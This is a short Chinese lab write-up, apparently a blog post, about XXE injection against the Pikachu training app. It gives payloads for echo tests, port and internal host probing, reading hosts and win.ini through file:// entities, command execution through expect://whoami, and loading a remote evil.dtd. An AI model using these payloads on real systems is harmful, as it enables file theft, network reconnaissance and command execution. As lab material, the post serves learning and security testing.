Pikachu | XXE

利用xml注入的回显探测:

复制代码
<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY xxe "test"> ]><root>&xxe;</root>

利用xml注入的端口探测:

payload:

复制代码
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEroot[<!ENTITY xxe SYSTEM "http://192.168.x.x:8080">]><root>&xxe;</root>

利用burpsuite探测敏感端口:

端口探测的存活列表边界建议手动测试访问,根据响应时间可能不太准确。

对比nmap扫描出来的结果:

利用xml注入的内网主机探测:

复制代码
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://192.168.x.x" > ]><foo>&xxe;</foo>

同样利用BurpSuite对内网存活主机地址探测。

利用xml注入的敏感文件读取:

hosts读取:

*一般系统敏感文件是默认路径。

复制代码
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" > ]><foo>&xxe;</foo>

hosts文件是本地DNS配置文件,用户在本地指定域名与IP的映射关系,优先级高于DNS服务器。用来发现内网域名、隐藏的测试系统或管理后台。利用该文件绕过CDN直接访问真实IP。

win.ini读取:

win.ini文件保留了系统配置信息,判断系统类型:存在[fonts]、[boot]等字段即可确认windows。

复制代码
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" > ]><foo>&xxe;</foo>

利用xml注入的命令执行:

复制代码
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://whoami" > ]><foo>&xxe;</foo>

利用xml注入的远程文件执行:

复制代码
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root SYSTEM "http://192.168.10.17:8086/evil.dtd"><root>&xxe;</root>

远程dtd payload:

复制代码
<!ENTITY xxe system "file:///C:/Windows/System32/drivers/etc/hosts">

这里没有回显不知道为什么。

相关推荐
YuMiao2 天前
gstatic连接问题导致Google Gemini / Studio页面乱码或图标缺失问题
服务器·网络协议
Sinclair4 天前
简单几步,安卓手机秒变服务器,安装 CMS 程序
android·服务器
Rockbean5 天前
用40行代码搭建自己的无服务器OCR
服务器·python·deepseek
茶杯梦轩6 天前
CompletableFuture 在 项目实战 中 创建异步任务 的核心优势及使用场景
服务器·后端·面试
海天鹰6 天前
【免费】PHP主机=域名+解析+主机
服务器
一次旅行6 天前
网络安全总结
安全·web安全
不是二师兄的八戒6 天前
Linux服务器挂载OSS存储的完整实践指南
linux·运维·服务器
芝士雪豹只抽瑞克五6 天前
Nginx 高性能Web服务器笔记
服务器·nginx
失重外太空啦6 天前
Tomcat
java·服务器·tomcat
Henry Zhu1236 天前
数据库:并发控制基本概念
服务器·数据库